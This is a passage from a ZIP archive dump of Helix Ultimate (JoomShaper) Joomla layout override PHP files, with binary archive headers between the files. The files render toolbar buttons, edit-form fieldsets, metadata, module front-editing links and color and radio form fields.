?>
<button<?php echo $id; ?> value="<?php echo $doTask; ?>" class="btn btn-sm btn-outline-primary" data-bs-toggle="modal" data-bs-target="#modal-<?php echo $name; ?>">
	<span class="<?php echo $class; ?>" aria-hidden="true"></span>
	<?php echo $text; ?>
</button>
PK!��0�ZZ;helixultimate/overrides/layouts/joomla/toolbar/versions.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Session\Session;

extract($displayData);

echo HTMLHelper::_(
	'bootstrap.renderModal',
	'versionsModal',
	array(
		'url'    => "index.php?option=com_contenthistory&amp;view=history&amp;layout=modal&amp;tmpl=component&amp;item_id="
			. (int) $displayData['itemId']. "&amp;type_id=" . $displayData['typeId'] . "&amp;type_alias=" . $displayData['typeAlias']
			. "&amp;" . Session::getFormToken() . "=1",
		'title'  => $displayData['title'],
		'height' => '100%',
		'width'  => '100%',
		'modalWidth'  => '80',
		'bodyHeight'  => '60',
		'footer' => '<a type="button" class="btn btn-secondary" data-dismiss="modal" aria-hidden="true">'
			. Text::_("JLIB_HTML_BEHAVIOR_CLOSE") . '</a>'
	)
);

$id = isset($displayData['id']) ? $displayData['id'] : '';

?>
<button<?php echo $id; ?> onclick="jQuery('#versionsModal').modal('show')" class="btn btn-sm btn-outline-primary" data-bs-toggle="modal" title="<?php echo $displayData['title']; ?>">
	<span class="icon-archive" aria-hidden="true"></span><?php echo $displayData['title']; ?>
</button>
PK!�[�@??9helixultimate/overrides/layouts/joomla/toolbar/slider.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

use Joomla\CMS\HTML\HTMLHelper;

HTMLHelper::_('behavior.core');

$id      = isset($displayData['id']) ? $displayData['id'] : '';
$doTask  = $displayData['doTask'];
$class   = $displayData['class'];
$text    = $displayData['text'];
$name    = $displayData['name'];
$onClose = $displayData['onClose'];
?>
<button<?php echo $id; ?> onclick="<?php echo $doTask; ?>" class="btn btn-sm btn-secondary" data-bs-toggle="collapse" data-bs-target="#collapse-<?php echo $name; ?>"<?php echo $onClose; ?>>
	<span class="icon-cog" aria-hidden="true"></span>
	<?php echo $text; ?>
</button>
PK!F�Ie��8helixultimate/overrides/layouts/joomla/edit/fieldset.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Factory;

$app = Factory::getApplication();
$form = $displayData->getForm();

$name = $displayData->get('fieldset');
$fieldSet = $form->getFieldset($name);

if (empty($fieldSet))
{
	return;
}

$ignoreFields = $displayData->get('ignore_fields') ? : array();
$extraFields = $displayData->get('extra_fields') ? : array();

if (!empty($displayData->showOptions) || $displayData->get('show_options', 1))
{
	if (isset($extraFields[$name]))
	{
		foreach ($extraFields[$name] as $f)
		{
			if (in_array($f, $ignoreFields))
			{
				continue;
			}
			if ($form->getField($f))
			{
				$fieldSet[] = $form->getField($f);
			}
		}
	}

	$html = array();

	foreach ($fieldSet as $field)
	{
		$html[] = $field->renderField();
	}

	echo implode('', $html);
}
else
{
	$html = array();
	$html[] = '<div style="display:none;">';
	foreach ($fieldSet as $field)
	{
		$html[] = $field->input;
	}
	$html[] = '</div>';

	echo implode('', $html);
}
PK!�O�1__6helixultimate/overrides/layouts/joomla/edit/params.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

$app       = Factory::getApplication();
$form      = $displayData->getForm();
$fieldSets = $form->getFieldsets();

if (empty($fieldSets))
{
	return;
}

$ignoreFieldsets = $displayData->get('ignore_fieldsets') ?: array();
$ignoreFields    = $displayData->get('ignore_fields') ?: array();
$extraFields     = $displayData->get('extra_fields') ?: array();
$tabName         = $displayData->get('tab_name') ?: 'myTab';

if (!empty($displayData->hiddenFieldsets))
{
	// These are required to preserve data on save when fields are not displayed.
	$hiddenFieldsets = $displayData->hiddenFieldsets ?: array();
}

if (!empty($displayData->configFieldsets))
{
	// These are required to configure showing and hiding fields in the editor.
	$configFieldsets = $displayData->configFieldsets ?: array();
}

// Handle the hidden fieldsets when show_options is set false
if (!$displayData->get('show_options', 1))
{
	// The HTML buffer
	$html   = array();

	// Hide the whole buffer
	$html[] = '<div style="display:none;">';

	// Loop over the fieldsets
	foreach ($fieldSets as $name => $fieldSet)
	{
		// Check if the fieldset should be ignored
		if (in_array($name, $ignoreFieldsets, true))
		{
			continue;
		}

		// If it is a hidden fieldset, render the inputs
		if (in_array($name, $hiddenFieldsets))
		{
			// Loop over the fields
			foreach ($form->getFieldset($name) as $field)
			{
				// Add only the input on the buffer
				$html[] = $field->input;
			}

			// Make sure the fieldset is not rendered twice
			$ignoreFieldsets[] = $name;
		}

		// Check if it is the correct fieldset to ignore
		if (strpos($name, 'basic') === 0)
		{
			// Ignore only the fieldsets which are defined by the options not the custom fields ones
			$ignoreFieldsets[] = $name;
		}
	}

	// Close the container
	$html[] = '</div>';

	// Echo the hidden fieldsets
	echo implode('', $html);
}

// Loop again over the fieldsets
foreach ($fieldSets as $name => $fieldSet)
{
	// Ensure any fieldsets we don't want to show are skipped (including repeating formfield fieldsets)
	if ((isset($fieldSet->repeat) && $fieldSet->repeat === true)
		|| in_array($name, $ignoreFieldsets)
		|| (!empty($configFieldsets) && in_array($name, $configFieldsets, true))
		|| (!empty($hiddenFieldsets) && in_array($name, $hiddenFieldsets, true))
	)
	{
		continue;
	}

	// Determine the label
	if (!empty($fieldSet->label))
	{
		$label = Text::_($fieldSet->label);
	}
	else
	{
		$label = strtoupper('JGLOBAL_FIELDSET_' . $name);
		if (Text::_($label) === $label)
		{
			$label = strtoupper($app->input->get('option') . '_' . $name . '_FIELDSET_LABEL');
		}
		$label = Text::_($label);
	}

	// Start the tab
	echo HTMLHelper::_((JVERSION < 4 ? 'bootstrap' : 'uitab') . '.addTab', $tabName, 'attrib-' . $name, $label);

	// Include the description when available
	if (isset($fieldSet->description) && trim($fieldSet->description))
	{
		echo '<p class="alert alert-info">' . $this->escape(Text::_($fieldSet->description)) . '</p>';
	}

	// The name of the fieldset to render
	$displayData->fieldset = $name;

	// Force to show the options
	$displayData->showOptions = true;

	// Render the fieldset
	echo LayoutHelper::render('joomla.edit.fieldset', $displayData);

	// End the tab
	echo HTMLHelper::_((JVERSION < 4 ? 'bootstrap' : 'uitab') . '.endTab');
}
PK!��f���6helixultimate/overrides/layouts/joomla/edit/global.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;

$app       = Factory::getApplication();
$form      = $displayData->getForm();
$input     = $app->input;
$component = $input->getCmd('option', 'com_content');

if ($component === 'com_categories')
{
	$extension = $input->getCmd('extension', 'com_content');
	$parts     = explode('.', $extension);
	$component = $parts[0];
}

$saveHistory = ComponentHelper::getParams($component)->get('save_history', 0);

$fields = $displayData->get('fields') ?: array(
	array('parent', 'parent_id'),
	array('published', 'state', 'enabled'),
	array('category', 'catid'),
	'featured',
	'sticky',
	'access',
	'language',
	'tags',
	'note',
	'version_note',
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

if (!$saveHistory)
{
	$hiddenFields[] = 'version_note';
}

$html   = array();
$html[] = '<fieldset class="form-vertical form-no-margin">';

foreach ($fields as $field)
{
	foreach ((array) $field as $f)
	{
		if ($form->getField($f))
		{
			if (in_array($f, $hiddenFields))
			{
				$form->setFieldAttribute($f, 'type', 'hidden');
			}

			$html[] = $form->renderField($f);
			break;
		}
	}
}

$html[] = '</fieldset>';

echo implode('', $html);
PK!���x��>helixultimate/overrides/layouts/joomla/edit/publishingdata.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Factory;

$app = Factory::getApplication();
$form = $displayData->getForm();

$fields = $displayData->get('fields') ?: array(
	'publish_up',
	'publish_down',
	array('created', 'created_time'),
	array('created_by', 'created_user_id'),
	'created_by_alias',
	array('modified', 'modified_time'),
	array('modified_by', 'modified_user_id'),
	'version',
	'hits',
	'id'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

foreach ($fields as $field)
{
	foreach ((array) $field as $f)
	{
		if ($form->getField($f))
		{
			if (in_array($f, $hiddenFields))
			{
				$form->setFieldAttribute($f, 'type', 'hidden');
			}

			echo $form->renderField($f);
			break;
		}
	}
}
PK!ɽ�!!Dhelixultimate/overrides/layouts/joomla/edit/frontediting_modules.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;

// JLayout for standard handling of the edit modules:
$moduleHtml   = &$displayData['moduleHtml'];
$mod          = $displayData['module'];
$position     = $displayData['position'];
$menusEditing = $displayData['menusediting'];
$parameters   = ComponentHelper::getParams('com_modules');
$redirectUri  = '&return=' . urlencode(base64_encode(Uri::getInstance()->toString()));
$target       = '_blank';
$itemid       = Factory::getApplication()->input->get('Itemid', '0', 'int');

if (preg_match('/<(?:div|span|nav|ul|ol|h\d) [^>]*class="[^"]* jmoddiv"/', $moduleHtml))
{
	// Module has already module edit button:
	return;
}

// Add css class jmoddiv and data attributes for module-editing URL and for the tooltip:
$editUrl = Uri::base() . 'administrator/index.php?option=com_modules&task=module.edit&id=' . (int) $mod->id;

if ($parameters->get('redirect_edit', 'site') === 'site')
{
	$editUrl = JVERSION < 4
		? Uri::base() . 'index.php?option=com_config&controller=config.display.modules&id=' . (int) $mod->id . $redirectUri
		: Uri::base() . 'index.php?option=com_config&view=modules&id=' . (int) $mod->id . '&Itemid=' . $itemid . $redirectUri;
	$target  = '_self';
}

// Add class, editing URL and tooltip, and if module of type menu, also the tooltip for editing the menu item:
$count = 0;
$moduleHtml = preg_replace(
	// Replace first tag of module with a class
	'/^(\s*<(?:div|span|nav|ul|ol|h\d|section|aside|nav|address|article) [^>]*class="[^"]*)"/',
	// By itself, adding class jmoddiv and data attributes for the URL and tooltip:
	'\\1 jmoddiv" data-jmodediturl="' . $editUrl . '" data-target="' . $target . '" data-jmodtip="'
	.	HTMLHelper::_('tooltipText',
			Text::_('JLIB_HTML_EDIT_MODULE'),
			htmlspecialchars($mod->title, ENT_COMPAT, 'UTF-8') . '<br />' . sprintf(Text::_('JLIB_HTML_EDIT_MODULE_IN_POSITION'), htmlspecialchars($position, ENT_COMPAT, 'UTF-8')),
			0
		)
	. '"'
	// And if menu editing is enabled and allowed and it's a menu module, add data attributes for menu editing:
	.	($menusEditing && $mod->module === 'mod_menu' ?
			'" data-jmenuedittip="' . HTMLHelper::_('tooltipText', 'JLIB_HTML_EDIT_MENU_ITEM', 'JLIB_HTML_EDIT_MENU_ITEM_ID') . '"'
			:
			''
		),
	$moduleHtml,
	1,
	$count
);


if ($count)
{
	HTMLHelper::_('stylesheet', 'frontend-edit.css', array('version' => 'auto', 'relative' => true));
	HTMLHelper::_('script', 'system/frontediting.js', array('version' => 'auto', 'relative' => true));
}
PK!�+J���<helixultimate/overrides/layouts/joomla/edit/associations.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

$form     = $displayData->getForm();
$options  = array(
	'formControl' => $form->getFormControl(),
	'hidden'      => (int) ($form->getValue('language', null, '*') === '*'),
);

HTMLHelper::_('behavior.core');
HTMLHelper::_('jquery.framework');
Text::script('JGLOBAL_ASSOC_NOT_POSSIBLE');
Text::script('JGLOBAL_ASSOCIATIONS_RESET_WARNING');
Factory::getDocument()->addScriptOptions('system.associations.edit', $options);
HTMLHelper::_('script', 'system/associations-edit.min.js', array('version' => 'auto', 'relative' => true));

// JLayout for standard handling of associations fields in the administrator items edit screens.
echo $form->renderFieldset('item_associations');
PK!�"��;helixultimate/overrides/layouts/joomla/edit/title_alias.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

$form = $displayData->getForm();

$title = $form->getField('title') ? 'title' : ($form->getField('name') ? 'name' : '');
?>
<div class="m-t-2 m-b-3">
	<?php
	echo $title ? $form->renderField($title) : '';
	echo $form->renderField('alias');
	?>
</div>
PK!ݰC��:helixultimate/overrides/layouts/joomla/edit/item_title.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

$title = $displayData->getForm()->getValue('title');
$name = $displayData->getForm()->getValue('name');

?>

<?php if ($title) : ?>
	<h4><?php echo $title; ?></h4>
<?php endif; ?>

<?php if ($name) : ?>
	<h4><?php echo $name; ?></h4>
<?php endif;
PK!��;;8helixultimate/overrides/layouts/joomla/edit/metadata.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Language\Text;

$form = $displayData->getForm();

// JLayout for standard handling of metadata fields in the administrator content edit screens.
$fieldSets = $form->getFieldsets('metadata');
?>

<?php foreach ($fieldSets as $name => $fieldSet) : ?>
	<?php if (isset($fieldSet->description) && trim($fieldSet->description)) : ?>
		<p class="alert alert-info"><?php echo $this->escape(Text::_($fieldSet->description)); ?></p>
	<?php endif; ?>

	<?php
	// Include the real fields in this panel.
	if ($name === 'jmetadata')
	{
		echo $form->renderField('metadesc');
		echo $form->renderField('metakey');
		echo $form->renderField('xreference');
	}

	foreach ($form->getFieldset($name) as $field)
	{
		if ($field->name !== 'jform[metadata][tags][]')
		{
			echo $field->renderField();
		}
	} ?>
<?php endforeach; ?>
PK!IN"��7helixultimate/overrides/layouts/joomla/edit/details.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;

$app = Factory::getApplication();

// JLayout for standard handling of the details sidebar in administrator edit screens.
$title = $displayData->getForm()->getValue('title');
$published = $displayData->getForm()->getField('published');
$saveHistory = $displayData->get('state')->get('params')->get('save_history', 0);
?>
<div class="col-lg-2">
	<h4><?php echo Text::_('JDETAILS'); ?></h4>
	<hr>
	<fieldset class="form-vertical">
		<?php if (empty($title)) : ?>
			<div class="control-group">
				<div class="controls">
					<?php echo $displayData->getForm()->getValue('name'); ?>
				</div>
			</div>
		<?php else : ?>
			<div class="control-group">
				<div class="controls">
					<?php echo $displayData->getForm()->getValue('title'); ?>
				</div>
			</div>
		<?php endif; ?>

		<?php if ($published) : ?>
			<?php echo $displayData->getForm()->renderField('published'); ?>
		<?php else : ?>
			<?php echo $displayData->getForm()->renderField('state'); ?>
		<?php endif; ?>

		<?php echo $displayData->getForm()->renderField('access'); ?>
		<?php echo $displayData->getForm()->renderField('featured'); ?>
		<?php if (Multilanguage::isEnabled()) : ?>
			<?php echo $displayData->getForm()->renderField('language'); ?>
		<?php else : ?>
			<input type="hidden" id="jform_language" name="jform[language]" value="<?php echo $displayData->getForm()->getValue('language'); ?>">
		<?php endif; ?>

		<?php echo $displayData->getForm()->renderField('tags'); ?>
		<?php if ($saveHistory) : ?>
			<?php echo $displayData->getForm()->renderField('version_note'); ?>
		<?php endif; ?>
	</fieldset>
</div>
PK!��bJ;helixultimate/overrides/layouts/joomla/form/renderfield.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;

extract($displayData);

if (!empty($options['showonEnabled']))
{
	if (JVERSION < 4)
	{
		HTMLHelper::_('jquery.framework');
		HTMLHelper::_('script', 'system/cms.min.js', array('version' => 'auto', 'relative' => true));
	}
	else
	{
		/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
		$wa = Factory::getApplication()->getDocument()->getWebAssetManager();
		$wa->useScript('showon');
	}
}

$name 			 = $name ?? '';
$class           = empty($options['class']) ? '' : ' ' . $options['class'];
$rel             = empty($options['rel']) ? '' : ' ' . $options['rel'];
$id              = $name . '-desc';
$hideLabel       = !empty($options['hiddenLabel']);
$hideDescription = empty($options['hiddenDescription']) ? false : $options['hiddenDescription'];

if (!empty($parentclass))
{
	$class .= ' ' . $parentclass;
}

?>
<div class="control-group<?php echo $class; ?>"<?php echo $rel; ?>>
	<?php if ($hideLabel) : ?>
		<div class="visually-hidden"><?php echo $label; ?></div>
	<?php else : ?>
		<?php echo $label; ?>
	<?php endif; ?>
	<?php echo $input; ?>
	<?php if (!$hideDescription && !empty($description)) : ?>
		<div id="<?php echo $id; ?>">
			<small class="form-text">
				<?php echo $description; ?>
			</small>
		</div>
	<?php endif; ?>
</div>
PK!},�)Dhelixultimate/overrides/layouts/joomla/form/field/color/advanced.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\HTML\HTMLHelper;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellchec       Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
 * @var   array    $checkedOptions  Options that will be set as checked.
 * @var   boolean  $hasValue        Has this field a value assigned?
 * @var   array    $options         Options available for this field.
 * @var   array    $checked         Is this field checked?
 * @var   array    $position        Is this field checked?
 * @var   array    $control         Is this field checked?
 */

if ($validate !== 'color' && in_array($format, array('rgb', 'rgba'), true))
{
	$alpha = ($format === 'rgba');
	$placeholder = $alpha ? 'rgba(0, 0, 0, 0.5)' : 'rgb(0, 0, 0)';
}
else
{
	$placeholder = '#rrggbb';
}

$inputclass   = ($keywords && ! in_array($format, array('rgb', 'rgba'), true)) ? ' keywords' : ' ' . $format;
$class        = ' class="form-control ' . trim('minicolors ' . $class) . ($validate === 'color' ? 'form-control ' : $inputclass) . '"';
$control      = $control ? ' data-control="' . $control . '"' : '';
$format       = $format ? ' data-format="' . $format . '"' : '';
$keywords     = $keywords ? ' data-keywords="' . $keywords . '"' : '';
$validate     = $validate ? ' data-validate="' . $validate . '"' : '';
$disabled     = $disabled ? ' disabled' : '';
$readonly     = $readonly ? ' readonly' : '';
$hint         = strlen($hint) ? ' placeholder="' . htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"' : ' placeholder="' . $placeholder . '"';
$autocomplete = ! $autocomplete ? ' autocomplete="off"' : '';

// Force LTR input value in RTL, due to display issues with rgba/hex colors
$direction = $lang->isRtl() ? ' dir="ltr" style="text-align:right"' : '';

HTMLHelper::_('jquery.framework');
HTMLHelper::_('script', 'vendor/minicolors/jquery.minicolors.min.js', array('version' => 'auto', 'relative' => true));
HTMLHelper::_('stylesheet', 'vendor/minicolors/jquery.minicolors.css', array('version' => 'auto', 'relative' => true));
HTMLHelper::_('script', 'system/fields/color-field-adv-init.min.js', array('version' => 'auto', 'relative' => true));
?>
<input
	type="text"
	name="<?php echo $name; ?>"
	id="<?php echo $id; ?>"
	value="<?php echo htmlspecialchars($color, ENT_COMPAT, 'UTF-8'); ?>"
	<?php echo $hint; ?>
	<?php echo $class; ?>
	<?php echo $position; ?>
	<?php echo $control; ?>
	<?php echo $readonly; ?>
	<?php echo $disabled; ?>
	<?php echo $required; ?>
	<?php echo $onchange; ?>
	<?php echo $autocomplete; ?>
	<?php echo $autofocus; ?>
	<?php echo $format; ?>
	<?php echo $keywords; ?>
	<?php echo $direction; ?>
	<?php echo $validate; ?>>
PK!Ph�zC
C
Bhelixultimate/overrides/layouts/joomla/form/field/color/simple.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\HTML\HTMLHelper;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellchec       Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
 * @var   array    $checkedOptions  Options that will be set as checked.
 * @var   boolean  $hasValue        Has this field a value assigned?
 * @var   array    $options         Options available for this field.
 * @var   array    $checked         Is this field checked?
 * @var   array    $position        Is this field checked?
 * @var   array    $control         Is this field checked?
 */

$class    = ' class="form-select ' . trim('simplecolors chzn-done ' . $class) . '"';
$disabled = $disabled ? ' disabled' : '';
$readonly = $readonly ? ' readonly' : '';

// Include jQuery
HTMLHelper::_('jquery.framework');
HTMLHelper::_('script', 'system/fields/simplecolors.min.js', array('version' => 'auto', 'relative' => true));
HTMLHelper::_('stylesheet', 'system/simplecolors.css', array('version' => 'auto', 'relative' => true));
HTMLHelper::_('script', 'system/fields/color-field-init.min.js', array('version' => 'auto', 'relative' => true));
?>
<select data-chosen="true" name="<?php echo $name; ?>" id="<?php echo $id; ?>"<?php
echo $disabled; ?><?php echo $readonly; ?><?php echo $required; ?><?php echo $class; ?><?php echo $position; ?><?php
echo $onchange; ?><?php echo $autofocus; ?> style="visibility:hidden;width:22px;height:1px">
	<?php foreach ($colors as $i => $c) : ?>
		<option<?php echo ($c == $color ? ' selected="selected"' : ''); ?>><?php echo $c; ?></option>
		<?php if (($i + 1) % $split == 0) : ?>
			<option>-</option>
		<?php endif; ?>
	<?php endforeach; ?>
</select>
PK!��@��;helixultimate/overrides/layouts/joomla/form/field/radio.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\HTML\HTMLHelper;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellcheck      Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
 * @var   array    $options         Options available for this field.
 */

// Including fallback code for HTML5 non supported browsers.
HTMLHelper::_('jquery.framework');
HTMLHelper::_('script', 'system/html5fallback.js', array('version' => 'auto', 'relative' => true));

/**
 * The format of the input tag to be filled in using sprintf.
 *     %1 - id
 *     %2 - name
 *     %3 - value
 *     %4 = any other attributes
 */
$format = '<input type="radio" id="%1$s" name="%2$s" value="%3$s" %4$s />';
$alt    = preg_replace('/[^a-zA-Z0-9_\-]/', '_', $name);
?>
<div id="<?php echo $id; ?>" class="<?php echo trim($class . ' radio'); ?>"
	<?php echo $disabled ? 'disabled' : ''; ?>
	<?php echo $required ? 'required aria-required="true"' : ''; ?>
	<?php echo $autofocus ? 'autofocus' : ''; ?>>

	<?php if (!empty($options)) : ?>
		<?php foreach ($options as $i => $option) : ?>
			<?php
				// Initialize some option attributes.
				$checked  = ((string) $option->value === $value) ? 'checked="checked"' : '';
				$optionClass    = !empty($option->class) ? 'class="form-check-input ' . $option->class . '"' : 'class="form-check-input"';
				$labelClass    = !empty($option->class) ? 'class="form-check-label ' . $option->class . '"' : 'class="form-check-label"';
				$disabled = !empty($option->disable) || ($disabled && !$checked) ? 'disabled' : '';

				// Initialize some JavaScript option attributes.
				$onclick    = !empty($option->onclick) ? 'onclick="' . $option->onclick . '"' : '';
				$onchange   = !empty($option->onchange) ? 'onchange="' . $option->onchange . '"' : '';
				$oid        = $id . $i;
				$ovalue     = htmlspecialchars($option->value, ENT_COMPAT, 'UTF-8');
				$attributes = array_filter(array($checked, $optionClass, $disabled, $onchange, $onclick));
			?>

			<?php if ($required) : ?>
				<?php $attributes[] = 'required aria-required="true"'; ?>
			<?php endif; ?>
			<div class="form-check form-check-inline">
				<label for="<?php echo $oid; ?>" <?php echo $labelClass; ?>>
					<?php echo sprintf($format, $oid, $name, $ovalue, implode(' ', $attributes)); ?> <?php echo $option->text; ?>
				</label>
			</div>
		<?php endforeach; ?>
	<?php endif; ?>
</div>
PK!�I���;helixultimate/overrides/layouts/joomla/form/field/meter.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
